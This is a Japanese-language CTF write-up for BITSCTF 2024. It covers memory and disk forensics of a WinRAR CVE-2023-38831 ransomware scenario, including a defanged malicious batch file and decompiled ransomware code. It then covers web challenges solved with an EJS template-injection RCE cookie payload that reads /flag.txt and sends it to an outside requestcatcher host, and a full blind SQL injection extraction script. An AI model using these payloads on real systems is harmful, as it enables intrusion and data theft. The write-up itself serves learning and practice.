https://ctftime.org/event/2235
DFIRカテゴリ
メモリダンプ、ディスクダンプ、ネットワークログが与えられるのでDFIRする問題群。面白かった。
Intro to DFIR
フラグが既に与えられているので答える。
Access Granted!
First things first. MogamBro is so dumb that he might be using the same set of passwords everywhere, so lets try cracking his PC's password for some luck.
Flag Format : BITSCTF{} Obviously you get access to further challenges only if you have the password ;)
パスワードを見つけてくる問題。メモリダンプからハッシュをダンプしてみよう。
$ python3 ~/.opt/volatility3/vol.py memdump.mem $file windows.hashdump Volatility 3 Framework 2.4.1 User rid lmhash nthash Administrator 500 aad3b435b51404eeaad3b435b51404ee 8a320467c7c22e321c3173e757194bb3 Guest 501 aad3b435b51404eeaad3b435b51404ee 31d6cfe0d16ae931b73c59d7e0c089c0 DefaultAccount 503 aad3b435b51404eeaad3b435b51404ee 31d6cfe0d16ae931b73c59d7e0c089c0 WDAGUtilityAccount 504 aad3b435b51404eeaad3b435b51404ee 74d0db3c3f38778476a44ff9ce0aefe2 MogamBro 1000 aad3b435b51404eeaad3b435b51404ee 8a320467c7c22e321c3173e757194bb3
問題文にもあるようにAdministratorとMogamBroのハッシュが一致している。
つまり、パスワードが使いまわされている。
CrackStationで検索すると平文が得られた。
Hash Type Result
8a320467c7c22e321c3173e757194bb3 NTLM adolfhitlerrulesallthepeople
よってadolfhitlerrulesallthepeople
が答え。
I'm wired in
MogamBro got scared after knowing that his PC has been hacked and tried to type a SOS message to his friend through his 'keyboard'. Can you find the contents of that message, obviously the attacker was logging him!
PCがハッキングされたことを知って怖くなったモガムブロは、「キーボード」を使って友人にSOSのメッセージを打とうとした。そのメッセージの内容がわかるだろうか。明らかに攻撃者は彼を記録している!
キーロガーみたいなものが仕込まれているみたい。
色々巡回すると、ディスクダンプのMogamBro/Desktop/keylog.pcapngというのがある。
中を見てみるとUSBの通信が残っているのでキーボードの通信ログに見える。
https://github.com/fa1c0n1/USBkeysTranslator
これを使って中身を解析してみよう。
$ python3 Usb_Keyboard_Parser.py ../MogamBro/MogamBro/Desktop/keylog.pcapng [+] Using filter "usbhid.data" Retrived HID Data is : I haveebeen haakee !!! HELLMEE BITSCTF{I_-7h1nk_th3y_4Re_k3yl0991ng_ME!} MogamBro
これがほぼフラグ。
‐を消して提出すると正答だった。
変な文字が混入したり、チャタリングしたりしてる時があるけど、どういうことかはよく分かってない。
0.69 Day
MogamBro was using some really old piece of software for his daily tasks. What a noob! Doesn't he know that using these deprecated versions of the same leaves him vulnerable towards various attacks! Sure he faced the consequences through those spam mails.
Can you figure out the CVE of the exploit that the attacker used to gain access to MogamBro's machine & play around with his stuff.
モガムブロは、日々の仕事に古いソフトを使っていた。なんて無能なんだ!このような非推奨バージョンを使っていると、さまざまな攻撃を受けやすくなることを彼は知らないのだ!確かに彼はスパムメールで痛い目にあった。
攻撃者がMogamBroのマシンにアクセスし、彼のものを弄るために使用したエクスプロイトのCVEを特定できるか。
ディスクダンプのMogamBroのユーザーディレクトリ以下を探索すると、MogamBro/AppData/Roaming/WinRAR
というのが見える。
MogamBro/Downloads
を見ると、Follow-these-instructions.zip
というのがあり、解凍したら発動するアレかと想像する。
試しにWinRARの有名CVEを提出してみると、CVE-2023-38831が正答だった。
7zipで解凍すると、steps.pdf .bat
という以下のファイルが得られる。(一応defangしてある)
if not DEFINED IS_MINIMIZED set IS_MINIMIZED=1 && start "" /min "%~dpnx0" %* && exit @echo off lottery.exe & start chrome -incognito hxxps://pastebin[.]com/mPvzn0AD & notepad.exe secret.png.enc & curl google.com -o steps.pdf & steps.pdf exit
以下PoCの図でかかれている構造とよく似ていることが分かる。
https://github.com/z3r0sw0rd/CVE-2023-38831-PoC
CVE-2023-38831が正答。
Lottery
Now that you know the CVE, figure out how the attacker crafted the payload & executed it to compromise the 'secret'.
lottery.exe & start chrome -incognito hxxps://pastebin[.]com/mPvzn0AD & notepad.exe secret.png.enc & curl google.com -o steps.pdf & steps.pdf
というのが実行されるコード。
lottery.exeをstringsで眺めてみるとpythonがexe化されているように見える。
extremecoders-re/pyinstxtractor: PyInstaller Extractorで分解する。
$ python3 pyinstxtractor/pyinstxtractor.py lottery.exe [+] Processing lottery.exe [+] Pyinstaller version: 2.1+ [+] Python version: 3.8 [+] Length of package: 9008682 bytes [+] Found 122 files in CArchive [+] Beginning extraction...please standby [+] Possible entry point: pyiboot01_bootstrap.pyc [+] Possible entry point: pyi_rth_pkgutil.pyc [+] Possible entry point: pyi_rth_inspect.pyc [+] Possible entry point: pyi_rth_multiprocessing.pyc [+] Possible entry point: pyi_rth_setuptools.pyc [+] Possible entry point: pyi_rth_pkgres.pyc [+] Possible entry point: lottery.pyc [!] Warning: This script is running in a different Python version than the one used to build the executable. [!] Please run this script in Python 3.8 to prevent extraction errors during unmarshalling [!] Skipping pyz extraction [+] Successfully extracted pyinstaller archive: lottery.exe You can now use a python decompiler on the pyc files within the extracted directory
python38.dll
とあるのでPython 3.8環境みたい。
uncompyle6で分解しようとしたが、バージョン対象外にてデコンパイルできない。
pycdcというのを使ってみるとデコンパイルできた。
# Source Generated with Decompyle++ # File: lottery.pyc (Python 3.8) import os import tempfile from Crypto.Cipher import AES from Crypto.Util.Padding import pad def generate_key(): key = os.urandom(32) fp = tempfile.TemporaryFile('w+b', False, **('mode', 'delete')) fp.write(key) return key def encrypt_file(file_path, key): Unsupported opcode: BEGIN_FINALLY iv = b'urfuckedmogambro' # WARNING: Decompyle incomplete if __name__ == '__main__': key = generate_key() file_path = 'secret.png' encrypt_file(file_path, key) print('Dear MogamBro, we are fucking your laptop with a ransomware & your secret image is now encrypted! Send $69M to recover it!')
一部デコンパイルに失敗しているが、なんとなく何をしているかは分かる。
- AESで暗号化してそう
- keyは
os.urandom(32)
で生成され、tempfileに吐き出されている - ivは
b'urfuckedmogambro'
keyを何とか取得する必要がある。メモリダンプのwindows.filescanを眺めてみる。
0xb606c73b5850 \Users\MogamBro\AppData\Local\Temp\tmpd1tif_2a 216
これかな?ディスクダンプにちょうど含まれていたのでhdしてみる。
$ hd tmpd1tif_2a 00000000 fb f6 0e 95 c2 f3 c9 6f 36 e1 19 55 38 e3 4e 30 |.......o6..U8.N0| 00000010 cf 1a 29 0f 1c 14 cd 5e 69 9e 47 6a 3b e2 bc 5e |..)....^i.Gj;..^| 00000020
32bytesありますね。これっぽい。あとは適当にCBCを選ぶと復元できた。
レシピは以下のような感じ。
MogamBro's guilty pleasure 解けなかったので復習
MogamBro was spammed with a lot of emails, he was able to evade some but fell for some of them due to his greed. Can you analyze the emails & figure out how he got scammed, not once but twice!
モガムブロはたくさんの電子メールでスパムを受け、いくつかは回避することができたが、彼の貪欲さのためにいくつかの電子メールに引っかかってしまった。あなたはそのメールを分析し、彼が一度だけでなく二度も詐欺に遭った原因を突き止められるだろうか?
MogamBro\Documents\Outlook
に2通のメールが残っていた。
- Thu, 15 Feb 2024 15:37:19 +0000 | YOU WON A LOTTERY!
hxxps[://]1drv[.]ms/u/s!AiXlFY455FKjgsRMZ_g0DA7n8DmcMw hxxps[://]res[.]cdn[.]office[.]net/assets/mail/file-icon/png/zip_16x16[.]png hxxps[://]1drv[.]ms/u/s!AiXlFY455FKjgsRNp0vKfUig_a64Hg hxxps[://]res-h3[.]public[.]cdn[.]office[.]net/assets/mail/file-icon/png/exe_16x16[.]png
OneDriveからダウンロードしたファイルはChromeのキャッシュからChromeCacheViewを使って取得するとDownloadsフォルダにあるものと一致した。
$ md5sum y4mdtYxQyYarjAuCSj-xxgsFx_ylPrqSiVsmyOsQssMQAyePCvg_yfxzpjCByr 42f0a9a08612315eae7a8c3b831a234c y4mdtYxQyYarjAuCSj-xxgsFx_ylPrqSiVsmyOsQssMQAyePCvg_yfxzpjCByr $ md5sum MogamBro/MogamBro/Downloads/lottery.exe 42f0a9a08612315eae7a8c3b831a234c MogamBro/MogamBro/Downloads/lottery.exe $ md5sum y4m3AmrAyS_7xxULjbWP7uW79iM_CuWxUc_QXcqA-iEnIlWbzwQClHyFaXDbpC.zip a22cba557a6d78dc5ef77460b6c460ef y4m3AmrAyS_7xxULjbWP7uW79iM_CuWxUc_QXcqA-iEnIlWbzwQClHyFaXDbpC.zip $ md5sum MogamBro/MogamBro/Downloads/Follow-these-instructions.zip a22cba557a6d78dc5ef77460b6c460ef MogamBro/MogamBro/Downloads/Follow-these-instructions.zip
これは今までに解析したもので特に他に面白い情報はない。
- Thu, 15 Feb 2024 14:23:15 +0000 | 50% Discount available on the Mimikyu plushie
特に添付ファイル無し。分からん…
コンテスト後復習。
https://github.com/warlocksmurf/onlinectf-writeups/blob/main/BITSCTF24/dfir.md#task-7-mogambros-guilty-pleasure
メールの本文にSpamMimmicという手法で隠しメッセージがステガノされてるらしい。
これがhow he got scammed
か… 素直にステガノと書いておいて欲しかったが、しょうがない。
Bypassing Transport Layer
The exploit not only manipulated MogamBro's secret but also tried to establish an external TCP connection to gain further access to the machine. But I don't really think he was able to do so. Can you figure out where the exploit was trying to reach to?
このエクスプロイトは、MogamBroの秘密を操作するだけでなく、外部TCP接続を確立してマシンにさらにアクセスしようとした。しかし、それができたとはとても思えません。エクスプロイトがどこに到達しようとしていたのか、わかりますか?
MogamBro\Desktop\keys
にTLSキーが入ってそうだったのでwiresharkで適用してネットワークログを開くと色々復元できた。
設問「0.69 Day」で出てきたhxxps://pastebin[.]com/mPvzn0ADの通信も見られる。
TLS復号後の#64663
パケットにフラグが書いてある。
<div class="source text" style="font-size: px; line-height: px;">\n <ol class="text"><li class="li1"><div class="de1">IG the attacker forgot to implement the reverse proxy.\r </div></li><li class="li1"><div class="de1">Anyways here's your flag - BITSCTF{■■■■■■■■■■■■■}</div></li></ol> </div>\n </div>
[web] Conquest 解けなかったので復習
ソースコード無し。
サイトを開くが特に何も情報が無い。
こういう時はということで/robots.txt
を開くと置いてあった。
User-Agent: * Disallow: /tournament
よく分からない順位表が出てくる。
特に何もなさそうだが、このコメントからguessするんだろう。
The dragon's portal lies among some of the well-known paths traversed by men.
虚無に陥り、コンテスト終了。
復習すると、次は /tournament/humans.txt
に移動するのが正答パスらしい。はい。
すると「Fight the Beast!」というボタンが出てきて押すとToo Slow. Try Again!
と言われる。
このときPOST /legend
の通信が発生していてslayというので謎の小数値が送られている。
これを大きい数にするとフラグが得られる。つまり、以下でフラグ獲得。
POST /legend HTTP/1.1 Host: [victim]:2913 Content-Length: 22 Content-Type: application/x-www-form-urlencoded Connection: close slay=9999999999999999999999999999999999999999
[web] Just Wierd Things
JWTを使ったサイトが与えられる。ソースコード有り。
const express = require('express'); const cookieParser = require('cookie-parser'); const path = require('path'); const bodyParser = require('body-parser'); const jwt = require('jsonwebtoken'); const app = express(); const PORT = 3000; app.use(cookieParser()); app.use(bodyParser.urlencoded({ extended: true })); app.set('views', path.join(__dirname, "view")); app.set('view engine', 'ejs'); const mainToken = "Your_Token"; const mainuser="particular_username"; app.get('/', (req, res) => { let mainJwt = req.cookies.jwt || {}; try { let jwtHead = mainJwt.split('.'); let jwtHeader = jwtHead[0]; jwtHeader = Buffer.from(jwtHeader, "base64").toString('utf8'); jwtHeader = JSON.parse(jwtHeader); jwtHeader = JSON.stringify(jwtHeader, null, 4); mainJwt = { header: jwtHeader } let jwtBody = jwtHead[1]; jwtBody = Buffer.from(jwtBody, "base64").toString('utf8'); jwtBody = JSON.parse(jwtBody); jwtBody = JSON.stringify(jwtBody, null, 4); mainJwt.body = jwtBody; let jwtSignature = jwtHead[2]; mainJwt.signature = jwtSignature; } catch(error) { if (typeof mainJwt === 'object') { mainJwt.error = error; } else { mainJwt = { error: error }; } } res.render('index', mainJwt); }); app.post('/updateName', (req, res) => { try { const newName = req.body.name; const token = req.cookies.jwt || ""; const decodedToken = jwt.decode(token); decodedToken.name = newName; const newToken = jwt.sign(decodedToken, 'randomSecretKey'); if (newName === mainuser) { res.cookie('jwt', mainToken); }else{ res.cookie('jwt', newToken); } res.redirect('/'); } catch (error) { res.redirect('/'); } }); app.listen(PORT, (err) => { console.log(`Server is Running on Port ${PORT}`); });
ここから/flag.txt
を持って来るのがゴールだが、LFI出来そうな余地は全くないように見える。
なので脆弱性が無いかライブラリを当たると"ejs": "^3.1.6"
となっていて、以下のようなサイトを見つけた。
https://eslam.io/posts/ejs-server-side-template-injection-rce/
これは使えそう。
後は、cookieでdic型を差し込めればいい感じにできるんだけどなーと思ってnpm cookie-parser array ctf
で適当に検索すると、以下を見つけてしまう。
https://satoooon1024.hatenablog.com/entry/SamsungCTF_Writeup#:~:text=%E3%82%8C%E3%81%BE%E3%81%97%E3%81%9F%E3%80%82-,%5BWeb%5D%20JWT%20Decoder%20%5B31%20solves%5D,-JWT%E3%82%92%E3%83%87%E3%82%B3%E3%83%BC%E3%83%89
変数名が違うだけで丸々一緒ですね…
まあ、とりあえず、solverを借りてきて以下のようにすればフラグ獲得。
import requests requests.get("http://[victim]:5000/", headers={"Cookie": 'jwt=j:{"settings": {"view options": {"localsName": "locals = {body: this.constructor.constructor(`return (async ()=>(fs = await import(\'fs\'), http = await import(\'http\'), req = http.request(\' http://[yours].requestcatcher.com/test?\'+fs.readFileSync(\'/flag.txt\')), req.end()))()`)()}"}}}'})
[web] Too Blind To See
ソースコード無し。
色々ガチャガチャやっていると、SUBSCRIBEの入力でSQL Injectionができそうと分かる。
' or 0 --
とすると{"exists":false,"message":"Email does not exist in the database"}
' or 1 --
とすると{"exists":true,"message":"Email exists in the database"}
Blind SQL Injectionでデータベースの抜き出しができそう。
ガチャガチャやっているとSQLiteが動いているっぽいので、それに合わせてスクリプトを書いて抜き出す。
SELECT group_concat(sql) FROM sqlite_master
をBlind SQL Injectionで取り出すと以下のように出た。
CREATE TABLE `userdata` ( `id` int(11) NOT NULL, `username` varchar(100) NOT NULL, `password` varchar(255) NOT NULL ),CREATE TABLE `maillist` ( `email` varchar(255) NOT NULL, `password` varchar(255) NOT NULL )
SELECT group_concat(email) FROM maillist
でメールアドレスを取得し、
そのメールアドレスと問題文に書いてあるパスワードfluffybutterfly
を使ってログインするとフラグが得られた。
以下のようなスクリプトでBlind SQL Injectionしていく。
import requests import time url = 'http://[victim]:7000/final-destination' req = "SELECT group_concat(email) FROM maillist" ans = "" for i in range(1, 1010): ok = 0 ng = 255 while ok + 1 != ng: md = (ok + ng) // 2 exp = f"' or {md} <= (SELECT unicode(substr(({req}),{i},1))) --" res = requests.post(url, data={'email':exp}) if 'true' in res.text: ok = md else: ng = md time.sleep(1) if ok == 0: break ans += chr(ok) print(f"[*] {ans}") print(f"[*] done! {ans}")